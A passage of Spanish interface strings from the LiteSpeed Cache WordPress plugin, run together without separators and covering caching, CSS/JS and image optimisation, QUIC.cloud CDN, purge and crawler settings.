púbicaForzar cronForzar cacheablesCuota mensual gratuita disponible.Cuota mensual gratuita disponible. También se puede usar de forma anónima (no se requiere correo electrónico).PortadaRuta del .htaccess de la parte públicaControl de heartbeat de la parte públicaTTL de heartbeat de la parte públicaOpciones generalesAjustes generalesGenerar LQIP en segundo planoGenerar el enlace para el usuario actualGenerar UCSSGenerar una copia de caché variable separada para el minicarrito cuando éste no esté vacío.Generado en %sLos enlaces generados pueden gestionarse en los %sAjustes%s.Obtenerlo de %s.Clave/Token global de la APIGrupos globales¡TTFB globalmente rápido, fácil configuración y %s!Ir al escritorio de QUIC.cloudIr a la lista de pluginsBuenas noticias del servidor QUIC.cloudGoogle reCAPTCHA se omitirá automáticamente.Caché de GravatarCron de la caché de GravatarTTL de la caché de GravatarGrupos cacheados a nivel de red.InvitadoModo de invitadoIP del modo de invitadoExclusiones JS del modo de invitadoAgentes de usuario del modo de invitadoModo de invitado y modo de optimizaciónPrueba fallida del modo de invitado.Prueba superada del modo de invitado.El modo de invitado proporciona una página de destino siempre en la caché para la primera visita de un invitado automatizado y, después, intenta actualizar las variaciones de la caché a través de AJAX.Resultado de la prueba del modo de invitadoOptimización para invitadosAtributo HTML a reemplazarHTML Mantener comentariosSelectores HTML de carga diferidaMinificar HTMLAjustes HTMLSolo orígenes HTTPS.HeartbeatControl de HeartbeatCaché de páginas de alto rendimiento y optimización de sitio de LiteSpeedTTL mayorHistorialAciertoPágina de inicioHostCómo solucionar problemas causados por la optimización CSS/JS.Sin embargo, no hay manera de conocer todas las posibles personalizaciones implementadas.El htaccess no coincide con la opción de configuración.La regla de Htaccess es: %sYa he dejado una valoración¡Si %1$s es %2$s entonces debe completarse %3$s!Si está activada, se les mostrará a los visitantes una copia vieja de la página almacenada en caché hasta que haya una nueva copia disponible. Reduce la carga del servidor para las siguientes visitas. Si está apagado, la página se generará dinámicamente mientras los visitantes esperan.Si el comentario a conservar es como: %1$s escribe: %2$sSi cada aplicación web utiliza la misma cookie, el servidor puede confundir si un usuario está logueado o no.Si no es así, comprueba la configuración en la %spestaña Avanzado%s.Si se debe purgar todo el sitio WordPress, usa «Purgar todo».Si se establece a %1$s, antes de localizar el marcador de posición, se usará la configuración %2$s.Si se configura a %s esto se hace en segundo plano, lo que puede ralentizar la carga de la página.Si no se encuentra el nombre de la categoría, la categoría será eliminada de la lista al guardar.Si la cookie de acceso ha sido cambiada recientemente en los ajustes, por favor cierra sesión y vuelve a iniciarla.Si no se encuentra el slug de la etiqueta, la etiqueta será eliminada de la lista al guardar.Si tienes alguna pregunta, el equipo estará siempre feliz de responder cualquier pregunta en el %sforo de soporte%s.Si esto se fija en un número inferior a 30, los feeds no serán cacheados.Si se utiliza OpenLiteSpeed, el servidor debe reiniciarse una vez para que los cambios hagan efecto.Si estás usando un socket %1$s, %2$s debería estar en %3$sSi has utilizado la Optimización de Imágenes, por favor %sDestruye primero todos los datos de optimización%s. NOTA: esto no elimina tus imágenes optimizadas.Si experimentas algún problema, por favor menciona el número de informe en tu mensaje de soporte.Si cambias alguno de los ajustes de arriba a OFF, por favor, quita los tipos de archivo relacionados de la caja %s.Si no quieres la aceleración de litespeed, puedes desactivar este plugin.Si tu sitio incluye contenido público que solo ciertos perfiles de usuarios pueden ver, puedes especificar un grupo de variación para dichos perfiles de usuario. Por ejemplo, especificar un grupo de variación de administrador permite que haya una página cacheada públicamente personalziada para administradores (con enlaces de "editar", etc.), mientras que el resto de perfiles de usuario ven la página pública por defecto.Si tu tema no utiliza JS para actualizar el minicarrito, debes activar esta opción para mostrar el contenido correcto del carrito.Los marcos que contengan estos nombres de clase no serán cargados de forma diferida.Los iframes con estos nombres de clase padres no se cargarán de forma diferida.Ignorar ciertas cadenas de petición al cachear. (LSWS %s obligatorio)Información de imágenesOptimización de imágenesAjustes de optimización de imágenesResumen de la optimización de imágenesGrupo de tamaños de miniaturasTotal de grupos de imágenesImágenes recuperadasLas imágenes que contengan estos nombres de clases no tendrán carga diferida.Las imágenes que tengan estos nombres de clase de los padres no serán cargadas de forma diferida.Imágenes no solicitadasImágenes avisadas para descargarImágenes optimizadas y descargadasImágenes listas para la solicitudImágenes solicitadasLas imágenes serán descargadas automáticamente si la tarea cron si está ejecutando.ImportarImportar / ExportarAjustes de importaciónImportación fallida debido a un error en el archivo.Importado con éxito el archivo de ajustes %s.Mejorar compatibilidad HTTP/HTTPSMejora la velocidad de wp-admin mediante caché. (Puede encontrar datos caducados)Mejorado porPara evitar un error de actualización, debes usar la versión %1$s o posterior antes de poder actualizar a las versiones %2$s.Para poder usar los servicios de QC necesitas un nombre de demonio real, no puedes usar una IP.Para utilizar la mayoría de los servicios de QUIC.cloud, necesitas una cuota. QUIC.cloud te ofrece cuota gratuita cada mes, pero si necesitas más, puedes comprarla.Incluir CSSIncluir tipos de archivoIncluir imágenesIncluir JSIncluye CSS externo y CSS integrado en un archivo combinado cuando %1$s también está activado. Esta opción ayuda a mantener las prioridades de CSS, que debería minimizar los errores potenciales causados por la combinación de CSS.Incluye JS externo y JS integrado en un archivo combinado cuando %1$s también está activado. Esta opción ayuda a mantener las prioridades de ejecución de JS, que debería minimizar los errores potenciales causados por la combinación de JS.Directorios incluidosBiblioteca de CSS integrado asíncronoCSS en línea añadido a CombinarJS en línea añadido a CombinarUCSS integrado para reducir la carga adicional de archivos CSS. Esta opción no será activada automáticamente para las páginas %1$s. Para usarla en las páginas %1$s, por favor, actívala.InstalarInstalar %sInstalar la seguridad de DoLoginInstalar ahoraClic instantáneoIP no válidaCookie de acceso no válida. Encontrados caracteres no válidos.Cookie de acceso no válida. Por favor, comprueba el archivo %s.Regla de reescritura no válidaSe recomienda ENCARECIDAMENTE que primero se pruebe la compatibilidad con otros plugins en uno o varios sitios.Se convertirá en un marcador de posición SVG base64 sobre la marcha.Combinar JSCombinación de JS externo e integradoAplazar JS para JS externos e incrustadosExclusiones de JS diferido / retrasadoJS RetrasadoInclusiones de JS retrasadasExcluir JSMinificar JSAjustes de JSEl error JS se puede encontrar en la consola de desarrollador del navegador haciendo clic derecho y eligiendo inspeccionar.Únete a la comunidad de Slack de LiteSpeedÚnete a nuestro SlackÚnete a la comunidad %s.Mantén esto apagado para usar marcadores de posición de color.LQIPCaché de LQIPGenerador de LQIP en la nubeExclusiones de LQIPDimensiones mínimas de LQIPCalidad de LQIPVista previa de la imagen LQIP para el tamaño %sNo se enviarán peticiones de LQIP para imágenes en las que tanto el ancho como la altura sean menores que estas dimensiones.LSCache¡Las funciones de la caché de LSCache en esta página no están disponibles en este momento!Los números más grandes generarán un marcador de posición de mayor calidad de resolución, pero resultarán en archivos más grandes que aumentarán el tamaño de la página y consumirán más puntos.Mayor queÚltima lecturaÚltima extracciónFecha del último informeNúmero del último informeÚltima peticiónÚltimo cálculoHora de la última ejecución completa para todos los rastreadoresÚltimo rastreoÚltimo rastreo:Última exportaciónÚltimo generadoÚltima generación: %sÚltima importaciónÚltimo intervaloÚltima descarga iniciada por cron a las %s.Última ejecuciónÚltimo coste solicitadoÚltima solicitud: %sExclusiones de carga diferida de clases de iframesExclusiones de carga diferida de clases padre de iframesRetrasar la carga de iframesExclusión de nombres de clases para carga diferida de imágenesExclusiones de carga retrasada de imágenesExclusiones de carga diferida de clases padresRetrasar la carga de imágenesExclusión de URIs de carga diferidaCarga diferida de IframesCarga diferida para imágenesLeer másObtén más información acerca de QUIC.cloudAprender másAprende más sobre cuándo es esto necesarioMás información o compra cuota adicional.Enlazar y activar la CDN de QUIC.cloudEnlace a QUIC.cloudEnlazado al entorno de vista previa de QUIC.cloud, solo para fines de prueba.Lista de User Agents móvilesLista tipos de contenido en los que cada elemento de ese tipo debería generar su propio CCSS.Lista los selectores CSS cuyos estilos siempre deben incluirse en CCSS.Lista los selectores CSS cuyos estilos siempre deben incluirse en UCSS.Los archivos CSS de la lista o el código CSS integrado no se minimizarán o combinarán.Los archivos CSS listados se excluirán del CSS sin uso y guardados para que se incrusten.Las IP listadas serán consideradas visitantes en modo invitado.Los archivos JS listados o el código JS en línea se retrasarán.Los archivos JS listados o el código JS integrado no serán aplazados ni diferidos.Los archivos JS de la lista o el código JS integrado no se minimizarán o combinarán.Los archivos JS listados o el código JS integrado no serán optimizados por %s.Las URI listadas no generarán UCSS.Los agentes de usuario listados serán considerados visitantes en modo invitado.Las imágenes listadas no se cargarán de forma retrasada.LiteSpeed CacheCDN de la caché de LiteSpeedPreajustes de configuración de caché LiteSpeedRastreador de LiteSpeed CacheEscritorio de LiteSpeed CacheOptimización de la base de datos de la caché de LiteSpeedAjustes generales de LiteSpeed CacheOptimización de imágenes de LiteSpeed CacheAjustes de la caché de la red de caché de LiteSpeedLiteSpeed Cache OptimaXOptimización de página de LiteSpeed CachePurdgar toda la caché de LiteSpeedConfiguración de Caché de LiteSpeedPreajustes estándar de cache de LiteSpeedCaja de herramientas de LiteSpeedVer el archivo «.htaccess» de LiteSpeed CacheLiteSpeed Cache está desactivado. Esta funcionalidad no funcionará.LiteSpeed Cache está temporalmente desactivado hasta: %s.¡El plugin LiteSpeed Cache está instalado!Cron del rastreador de LiteSpeedRegistros de LiteSpeedOptimización de LiteSpeedInforme de LiteSpeedLiteSpeed TechnologiesLiteSpeed Web ADCServidor web LiteSpeedActualizado el plugin LiteSpeed Cache. Por favor, actualiza la página para completar la actualización de los datos de configuración.Cargar CSS asíncronamenteCargar Google Fonts asíncronamenteDeferir carga de JSCargar iframes sólo cuando entran en la ventana de visualización.Cargar las imágenes sólo cuando entran en la ventana de visualización.LocalizaciónArchivos de idiomasAjustes de localizaciónRecursos localizadosLocalizar recursos externos.Recursos localizadosLímite de tamaño de archivo de registroVista de registrosCookie de accesoMarcador de imagen de baja calidadMBGestionarAñadido manualmente a la lista negraEjecutar manualmenteMapaMarcar esta página como ID de entrada de imagen máximaValor máximoPuede que más tardeQuizás más tardeExclusiones de mediosAjustes de mediosMensaje del servidor QUIC.cloudMétodoMinimiza archivos CSS y código CSS integrado.Minificar contenido HTML.Minimiza archivos JS y códigos JS integrados.Valor mínimoFalloMóvilReglas de agente móvilCaché móvilArchivo mensualMásAquí se puede encontrar más información sobre los comandos disponibles.Más ajustesMás ajustes disponibles en el menú %sMi escritorio de QUIC.cloudNOTANOTA: La CDN de QUIC.cloud y Cloudflare no usan asignación CDN. Si solo estás usando QUIC.cloud o Cloudflare, deja este ajuste como %s.AVISOAVISO:AVISO: La cookie de inicio de sesión de la base de datos no coincide con tu cookie de inicio de sesión.Escritorio de redHabilitar caché de red¡Nueva versión para desarrolladores disponible!¡Nueva versión disponible!La nueva versión de desarrollo %s está disponible.La nueva versión %s está disponible ahora.NoticiasFormato de imagen de próxima generaciónNo hay ningún nodo de la nube disponible después de comprobar la carga del servidor.No hay ningún nodo de la nube disponible.No hay disponible una zona CloudflareNo existe una copia de seguridad del archivo original.No existe ninguna copia de seguridad del archivo AVIF sin optimizar.No existe una copia de seguridad del archivo WebP no optimizado.No hay servicios de la nube en usoArchivo meta del rastreador aún no generadoSin camposSin optimizaciónNo se encontraron tamaños.El servidor en la nube no ha encontrado ninguna imagen válida por en la petición actual.No se ha encontrado ninguna imagen válida en la petición actual.No se ha analizado ningún mapa del sitio válido para el rastreador.Nodo:No cacheableNo disponibleNo está en la lista negraNo hay suficientes parámetros. Comprueba si la conexión a QUIC.cloud está establecida correctamenteNotaNotasNotaAvisosAvisado correctamente a Cloudflare de la purga completa.Avisado a Cloudflare la configuración del modo de desarrollo a %s con éxito.Solicitada la purga de entradas CSS/JS al servidor web LiteSpeed.Solicitado al servidor web LiteSpeed la purga de todas las entradas de LSCache.Solicitada la purga de todas las páginas al servidor web LiteSpeed.Solicitada la purga de las páginas de error al servidor web LiteSpeed.Solicitado la purga de todo al servidor web LiteSpeed.Solicitado al servidor web LiteSpeed la purga de la página de inicio.Solicitado la purga de la lista al servidor web LiteSpeed.OFFONOPcache no está activada.OPcache está restringido por el ajuste %s.OObjetoCaché de objetosAjustes de la caché de objetosLa caché de objetos no está activada.Ofrece un <strong>servicio DNS integrado</strong> opcional para simplificar la puesta en marcha de CDN.Al desinstalar, se eliminarán todos los ajustes del plugin.Una vez guardado, coincidirá con la lista actual y se completará automáticamente.Una o más de las imágenes recuperadas no coincide con el md5 de imagen avisadoUna por línea.Servicios en líneaEl nodo online tiene que volver a ser detectado.Solo los atributos aquí listados serán reemplazados.Solo disponible cuando está instalado %s.Solo los archivos en estos directorios apuntarán a la CDN.Solo registra las páginas listadas.Optimiza solo las páginas para visitantes invitados (no conectados). Si se desactiva, se duplicarán los archivos CSS/JS/CCSS por cada grupo de usuarios.Solo pulsar el botón si la tarea cron de descarga está desactivada.Caché opcodeServidor web OpenLiteSpeedMarca esto si eres un usuario de OpenLiteSpeedOperaciónOptimaXAjustes de OptimaXResumen de OptimaXEstado de optimizaciónResumen de optimizaciónHerramientas de optimizaciónOptimiza la entrega de CSS.Optimizar tamaños de imagenOptimizar sin pérdidaOptimizar imágenes originalesOptimizar tablasOptimizar todas las tablas en tu base de datosOptimizar solamente para invitadosOptimiza imágenes y guarda copias de seguridad de los originales en la misma carpeta.Optimizar imágenes usando compresión sin pérdida.Optimiza las imágenes con nuestro servidor en QUIC.cloudOptimizadas todas las tablas.Nombre de la opciónOpcionalOpcional cuando se usa el token de la API.Crea opcionalmente archivos de imagen WebP o AVIF de próxima generación.Las opciones han sido guardadas.OriginalOriginal %sAhorrado un %s del originalURLs originalesArchivo original reducido en %1$s (%2$s)Meta de entrada huérfanoOtrosOtra CDN estáticaOtras opciones serán ignoradas.Da salida en una serie de archivos en el directorio %s.Balance de pagosPAYG utilizado este mes: %s. El saldo y el uso de PAYG no están incluidos en el cálculo de cuota anterior.Es compatible la contante %s de PHP.Tiempo de carga de la páginaOptimización de páginaPuntuación de PageSpeedPáginasVentajas de colaboración ofrecidas porExitosoContraseñaEnlace sin contraseñaLa ruta debe terminar en %sLas rutas que contengan estas cadenas se cachearán independientemente de los ajustes de no cacheables.Las rutas que contengan estas cadenas serán forzadas a ser almacenados públicamente sin tener en cuenta los ajustes de no-cacheable.Las rutas que contengan estas cadenas no serán cacheadas.Las rutas que contengan las siguientes cadenas no se servirán desde el CDN.Pago por usoEstadísticas pago por usoConexión persistenteDebido a que puede haber conflictos con LiteSpeed Cache, por favor, considera desactivar los siguientes plugins:Por favor, NO compartas con nadie el enlace de acceso sin contraseña anterior.Por favor, activa LiteSpeed Cache en los ajustes del plugin.Por favor, activa el módulo LSCache en el servidor, o pídeselo a tu proveedor de alojamiento.Por favor, asegúrate de que esta IP sea la correcta para visitar tu sitio.Por favor, lee todas las advertencias antes de activar esta opción.Por favor, consulta %s para más detalles.Consulta %sConectar WP-Cron al programador de tareas del sistema%s para aprender cómo crear la tarea cron del sistema.Por favor, prueba a fondo al activar cualquier opción de esta lista. Después de cambiar ajustes de minimización/combinación, por favor realiza una acción «Purgar todo».Por favor, prueba a fondo todos los elementos en %s para asegurar que funcionan como se espera.Por favor, prueba a fondo cada archivo JS que añadas para asegurar que funcionan como se espera.Por favor, inténtalo después de %1$s para el servicio %2$s.Visita la página de %sInformación%s sobre cómo probar la caché.El plugin es demasiado complicadoPuertoPosición: ID de entradaRevisiones de entradasArchivo de tipo de contenidoLa preconexión acelera las cargas futuras desde un origen determinado.La lista predefinida también se combinará con los ajustes anterioresLa lista predefinida también se combinará con los ajustes anterioresLa lista predefinida también se combinará con los ajustes anteriores.La precarga DNS puede reducir la latencia para los visitantes.Preservar datos EXIF (copyright, GPS, comentarios, palabras clave, etc) al optimizar.Conservar los datos EXIF/XMPPreajustesPulsa el botón %s para detener la prueba beta y volver a la versión actual del directorio de plugins de WordPress.Presiona el botón %s para usar el commit de GitHub más reciente. Master es para la versión candidata y Dev es para pruebas experimentales.Evita que cargue Google Fonts en todas las páginas.Evita cualquier registro de depuración de las páginas listadas.Evita cualquier carga diferida de las páginas de la lista.Evitar cualquier optimización de las páginas listadas.Evita escribir entradas del registro que incluyan cadenas listadas.La solicitud anterior es demasiado reciente. Por favor, inténtalo de nuevo después de %s.La solicitud anterior es demasiado reciente. Por favor, inténtalo de nuevo más tarde.Anteriormente existía en la lista negraPrivadaCaché privadaURIs cacheadas privadamenteCaché privadaCachear privadamente a los usuarios con comentarios pendientes. Desactivar esta opción servirá páginas no-cacheables a los comentaristas. (LSWS %s requerido)Cachear privadamente páginas del sitio para usuarios con sesión iniciada. (LSWS %s requerido)Procesa las imágenes PNG y JPG cargadas para producir versiones más pequeñas que no sacrifican la calidad.El procesamiento de imágenes en formato PNG, JPG y WebP es gratuito. El formato AVIF tiene un coste.Intervalo de actualización de productoProporciona <strong>seguridad a nivel de CDN</strong>, protegiendo tu servidor de ataques.PúblicaCaché públicaPull Cron se está ejecutandoDescargar imágenesEl md5 de la imagen AVIF extraída no coincide con el md5 de la imagen AVIF avisada.El md5 de la imagen WebP recuperada no coincide con el md5 avisado de la imagen WebP.PurgarError de purga de %sPurgar las páginas de error %sPurgar todoGanchos de purgar todoPurgar todo al actualizarPurgar por...Purgar todoPurgar la página de inicioPurgar listaPurgar registroPurgar páginasAjustes de purgaPurga correcta de todas las cachés de objetos.Purgar todas las cachés de objetosPurgar las categorías solo cuando el estado del inventario cambie.Purgar la categoría %sPurgar páginas por nombre de categoría: p. ej. %2$s debe ser usado por la URL %1$s.Purgar páginas por ID de entrada.Purgar páginas por URL completa o relativa.Purgar páginas por etiqueta: p. ej. %2$s debe ser usado para la URL %1$s.Purgar productos y categorías solo cuando cambie el estado del inventario.Purgar los productos con los cambios de cantidad o estado del inventario.Purgar los productos solo cuando cambie el estado del inventario.Purgar la etiqueta %sPurga las entradas de caché de LiteSpeed creadas por este pluginPurga las entradas de la caché creadas por este plugin, excepto las cachés de CSS único, CSS crítico y de LQIPPurgar esta páginaPurgar la URL %s¡Se ha purgado todo!Todas las cachés purgadas correctamente.¡Se ha purgado la URL!¡Se ha purgado el blog!¡Purgado!%1$s enviadas al servidor en la nube, %2$s aceptadas.QUIC.cloudCDN de QUIC.cloudOpciones de CDN de QUIC.cloudResumen del estado de CDN de QUIC.cloudLa CDN de QUIC.cloud <strong>no está disponible</strong> para usuarios anónimos (sin enlazar).La CDN de QUIC.cloud está actualmente <strong>totalmente desactivada</strong>.CDN de QUIC.cloud:Integración de QUIC.cloud desactivadaIntegración de QUIC.cloud activadaIntegración de QUIC.cloud activada con limitacionesServicios en línea de QUIC.cloudEstadísticas de uso del servicio QUIC.cloudQUIC.cloud ofrece servicios de CDN y optimización en línea, y no es obligatorio. Puedes usar muchas características de este plugin sin QUIC.cloud.El servicio de optimización de imágenes de QUIC.cloud hace lo siguiente:Los servicios en línea de QUIC.cloud mejoran su sitio de las siguientes maneras:Los servicios de optimización de páginas de QUIC.cloud abordan el problema del inflado de CSS y mejoran la experiencia del usuario durante la carga de la página, lo que puede generar mejores puntuaciones de velocidad de la página.El acceso de QUIC.cloud a tu API REST de WP parece estar bloqueado.Las cadenas de consulta que contengan estos parámetros no se almacenarán en la caché.Puntúa %1$s en %2$sLeer la documentación de LiteSpeedRecomendado para generar el token desde la plantilla «WordPress» del token de la API de Cloudflare.Valor recomendado: 28800 segundos (8 horas).Volver a detectarNodo detectado nuevamenteID de base de datos RedisRedis encontró un error fatal: %1$s (código: %2$d)ActualizarRecargar el mapa del rastreadorRefrescar la caché de Gravatar por cron.Actualizar el estado de QUIC.cloudActualizar EstadoActualizar el usoActualizar el tiempo de carga de la páginaActualizar la puntuación de la páginaRegenerar y enviar un nuevo informeCuota diaria restanteEliminar la URL de la CDNEliminar Google FontsEliminar las etiquetas NoscriptEliminar copias de seguridad del orginalEliminar copias de seguridad de las imágenes originalesQuita la integración de QUIC.cloud de este sitio. Nota: Los datos de QUIC.cloud se conservarán para que puedas reactivar los servicios en cualquier momento. Si quieres borrar completamente tu sitio de QUIC.cloud, primero borra el dominio a través del escritorio de QUIC.cloud.Eliminar query stringsEliminar cadenas de consulta de recursos estáticosEliminar emojis de WordPressQuitar el indicador 'Desactivar todas las características' ahoraEliminar todos los resultados/peticiones de optimización de imágenes previos, revertir optimizaciones completadas, y eliminar todos los archivos de optimización.Eliminar todas las peticiones de optimización de imágenes anteriores sin terminar.Eliminar la simulación de la cookieEliminar de la lista negraEliminar cadenas de consulta de recursos estáticos internos.CSS sin uso eliminado para los usuariosCopias de seguridad eliminadas correctamente.Reemplaza %1$s con %2$s.InformeSolicita versiones WebP/AVIF de las imágenes originales al hacer la optimización.Solicitado: hace %sPeticiones en colaReexaminar nuevas miniaturas%d imágenes reexploradas correctamente.Reexploración correcta.Restablecida la activación de %s correctamente.Restablecer todos los ajustesRestablecer ajustesRestablecido el contador de optimización de imágenes correctamente.Reestablecer posiciónRestablecimiento realizado con éxito.Error al restablecer el OPcache.Reestablecida correctamente la caché «OPcache».Reestablecer toda la caché opcodeDatos de optimización restablecidos correctamente.Los recursos listados aquí se copiarán y reemplazarán con URL locales.Marcador de posición adaptableColor del marcador de posición adaptableMarcador de posición SVG adaptableLos marcadores de posición de imagen pueden ayudar a reducir la recolocación de la estructura cuando se cargan las imágenes.Restaurar los ajustesRestaurar desde la copia de seguridadSe han restaurado el respaldo de los ajustes %1$sArchivo original restaurado con éxito.Los resultados pueden comprobarse en la %sBiblioteca de medios%s.Edad máxima de las revisionesNúmero máximo de revisionesLas revisiones más recientes se guardarán cuando se limpien las revisiones.Excluir perfilesSimulación de rolEjecutar manualmente la cola %sFrecuencia de ejecuciónEjecutar la cola manualmenteLa frecuencia de ejecución está fijada por el ajuste de Intervalo entre ejecuciones.Hora de ejecución para el rastreador anteriorEn cursoSINTAXIS: alfanumérica y «_». Sin espacios y con distinción entre mayúsculas y minúsculas.SINTAXIS: alfanumérica y «_». Sin espacios y con distinción entre mayúsculas y minúsculas. DEBE SER ÚNICA Y DISTINTA DE OTRAS APLICACIONES WEB.Guardar cambiosGuarda datos transitorios en la base de datos cuando %1$s es %2$s.GuardadoFalló el guardado de la opción. IPv4 es solo para %s.Umbral de tamaño escaladoBuscar nuevos tamaños de miniaturas de imágenes no optimizadas y reenviar las solicitudes de optimización de imágenes necesarias.Hora de purga programadaURLs de purga programadaVer la %sIntroducción para activar el rastreador%s para obtener información detallada.Selecciona «Todo» si hay widgets dinámicos enlazados a entradas en páginas distintas de la portada o página de inicio.Selecciona debajo las opciones de «Purgar por».Selecciona solo los tipos de archivos que se utilicen actualmente, los otros se pueden dejar desmarcados.Selecciona qué páginas serán purgadas automáticamente cuando las entradas sean publicadas o actualizadas.Los perfiles seleccionados serán excluidos de todas las optimizaciones.Los perfiles seleccionados serán excluidos de la caché.Los selectores deben existir en el CSS. Las clases principales en el HTML no funcionarán.Enviar solicitud de optimizaciónEnviar este informe a LiteSpeed. Menciona este número de informe al publicar en el foro de soporte de WordPress.Enviar a LiteSpeedEnvíar a X para obtener %s de bonificaciónTipos de contenido de caché de CCSS distintosDistintas URIs de caché CCSSSepara archivos CSS críticos al generar las rutas que contengan estas cadenas.Servir contenido rancioOfrece una copia de la caché separada para los visitantes móviles.Servir todos los archivos CSS a través de la CDN. Esto afectará a todos los archivos CSS en cola de WordPress.Servir todos los archivos JS a través de la CDN. Esto afectará a todos los archivos JS en cola de WordPress.Sirve todos los archivos de imagen a través de la CDN. Esto afectará a todos los archivos adjuntos, las etiquetas HTML %1$s y los atributos CSS %2$s.Sirve rápido a tus visitantesIP del servidorLímite de carga del servidorValor máximo permitido por el servidor: %sValor forzado por el servidor: %sVariable(s) del servidor %s disponible para omitir este ajuste.Servicio:Establece un ancho y alto explícitos en los elementos de la imagen para reducir los cambios de diseño y mejorar CLS (una métrica de Core Web Vitals).Configura esto para añadir %1$s a todas las reglas de %2$s antes de guardar en caché el CSS para especificar cómo deben mostrarse las fuentes mientras se descargan.Ponlo en %1$s para bloquear heartbeat en %2$s.Configurar cabeceras personalizadasAjustesAcortar cadenas de peticiones en el registro de depuración para mejorar la legibilidad.Mostrar estado del rastreadorMejora significativamente el tiempo de carga reemplazando imágenes con sus versiones %s optimizadas.URL del sitio a servir a través de la CDN. Empezando con %1$s. Por ejemplo, %2$s.Sitio no reconocido. QUIC.cloud se desactivó automáticamente. Reactiva tu cuenta de QUIC.cloud.El rendimiento del sitio es peorLista del mapa del sitioTotal del mapa del sitioEl mapa del sitio se limpió con éxitoMapa del sitio creado con éxito: %d elementosTamañoTamaño de la lista en la cola de espera del cronMás pequeño queRestablecimiento suave del contador de optimizaciónUna o más imágenes optimizadas han caducado y han sido borradas.Comentarios spamEspecifica una imagen base64 que se usará como un sencillo marcador de posición mientras terminan de cargarse las imágenes.Especifica una acción AJAX en POST/GET y el número de segundos para almacenar en caché esa petición, separados por un espacio.Especifica un código de estado HTTP y el número de segundos que almacenar esa página en caché, separados por un espacio.Especifica un SVG que se utilizará como marcador de posición al generar localmente.Especifica reglas CSS críticas para contenido de la mitad superior de la página al activar %s.Especifica tras cuanto tiempo debe el rastreador indexar el sitemap entero de nuevo.Especifica durante cuánto tiempo, en segundos, se almacenan en la caché los archivos de Gravatar.Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las llamadas REST.Especifica por cuanto tiempo, en segundos, se cachean los feeds.Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las páginas privadas.Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las páginas públicas.Especifica cuánto tiempo, en segundos, se almacena la página de inicio.Especifica el intervalo de heartbeat para %s en segundos.Especifica el tamaño máximo del archivo de registro.Especifica el número de revisiones más recientes que se deben guardar al limpiar las revisiones.Especifica la contraseña utilizada al conectar.Especifica la calidad al generar el LQIP.Especifica el color del marcador de posición SVG adaptable.Especifica la hora para purgar la lista «%s».Especificar qué atributos de elementos HTML serán reemplazados por mapeo CDN.Especificar que atributos de elementos serán reemplazados con WebP/AVIF.Acelera aún más su sitio de WordPress con los <strong>servicios en línea y CDN de QUIC.cloud</strong>.Acelera aún más tu sitio de WordPress con los servicios en línea y CDN de QUIC.cloud.Difunde el amor y gana %s créditos para usar en nuestros servicios en línea QUIC.cloud.Preajustes estándarEmpieza a ver...Se inició el rastreo asíncronoSe inició la solicitud de optimización asíncrona de imágenesEnlaces de tipo de archivo estático que se reemplazarán con enlaces a la CDN.EstadoDeja de cargar los emojis de WordPress.org. En su lugar, se mostrarán los emoji por defecto del navegador.Optimización de almacenamientoAlmacenar los gravatares localmente.Almacenar datos transitoriosEnviar un tiqueRastreado correctamenteSumarioForo de soporte¡Por supuesto, me encantará valorarlo!SwapVolver a utilizar imágenes optimizadas en tu webImágenes cambiadas correctamente.Cambio correcto a archivo optimizado.Sincronizado el estado de QUIC.cloud correctamente.Se ha sincronizado la asignación de créditos correctamente con el servidor en la nube.Sincronizar los datos de la nubeInformación del sistemaTTLTablaEtiquetaOmite temporalmente la caché de Cloudflare. Esto permite cambios en el servidor de origen para que se vea en tiempo real.Archivo de término (incluye categoría, etiqueta y taxonomía)Probando¡Gracias por usar el plugin de caché LiteSpeed!La opción de IP de administrador solo mostrará mensajes de registro en peticiones desde IPs abajo listadas.El plugin LiteSpeed Cache se utiliza para cachear páginas - una manera simple de mejorar el rendimiento del sitio.La conexión QUIC.Cloud no es correcta. Intenta sincronizar tu conexión a QUIC.cloud de nuevo.Las URLs de aquí (una por línea) serán purgadas automáticamente a la hora establecida en la opción «%s».Las URLs serán comparadas con la variable REQUEST_URI del servidor.El servicio de viewport de imágenes detecta qué imágenes aparecen antes de hacer scroll y las excluye de la carga diferida.Los nonces anteriores se convertirán en ESI automáticamente.La cantidad de tiempo, en segundos, que los archivos se almacenarán en la caché del navegador antes de caducar.La caché necesita distinguir quien esta logueado en cada sitio de WordPress a fin de cachear correctamente.Ha fallado la validación de la llamada a tu dominio debido a la falta de coincidencia del hash.Ha fallado la validación de la devolución de llamada a tu dominio. Por favor, asegúrate de que no hay un cortafuegos bloqueando nuestros servidores.Ha fallado la validación de la devolución de llamada a tu dominio. Por favor, asegúrate de que no hay un cortafuegos bloqueando nuestros servidores. Código de respuesta: La cookie aquí establecida será usada por esta instalación de WordPress.La característica de rastreador no está activada en el servidor LiteSpeed. Por favor, consulta al administrador del servidor.El rastreador usará tu mapa del sitio XML o el índice del mapa del sitio. Introduce aquí la URL completa de tu mapa del sitio.El servidor actual está bajo una gran carga.La base de datos se ha ido actualizando en segundo plano desde %s. Este mensaje desaparecerá una vez que la actualización se haya completado.La desactivación es temporalLa cookie de acceso por defecto es %s.El informe de entorno contiene información detallada sobre la configuración de WordPress.Las siguientes características son proporcionadas por %sLas siguientes opciones están seleccionadas, pero no son editables en esta página de ajustes.El ajuste de calidad de compresión de imágenes de WordPress, de 0 a 100.La lista de imágenes está vacía.El último archivo de datos esLa lista se fusionará con los nonces predefinidos en tu archivo de datos local.La carga media permitida como máximo en el servidor durante la indexación. El número de hilos en uso del rastreador será reducido activamente hasta que la carga media del servidor baje de este límite. Si esto no es posible con un solo hilo, el proceso de indexación actual será terminado.El administrador de red seleccionó las configuraciones del sitio primario para todos los subsitios.El ajuste de administrador de red puede ser modificado aquí.La siguiente indexación de sitemap completa empezará a lasLa cola se procesa de forma asíncrona. Puede llevar un tiempo.El selector debe existir en el CSS. Las clases principales en HTML no funcionarán.El servidor determinará si el usuario está conectado en base a la existencia de esta cookie.El sitio no tiene un alias válido en QUIC.cloud.El sitio no está registrado en QUIC.cloud.El usuario con id %s tiene acceso de editor, que no tiene permisos para el simulador de perfiles.Y otro WordPress instalado (NO MULTISITIO) en %sHay un WordPress instalado para %s.Hay una cola de procedimiento que no se ha retirado todavía.La cola aún no ha sido recuperada. Información de la cola: %s.Estas imágenes no generarán LQIP.Estas opciones solo están disponibles con LiteSpeed Enterprise Web Server o QUIC.cloud CDN.Estos ajustes están pensados SOLO PARA USUARIOS AVANZADOS.Uso de este mes: 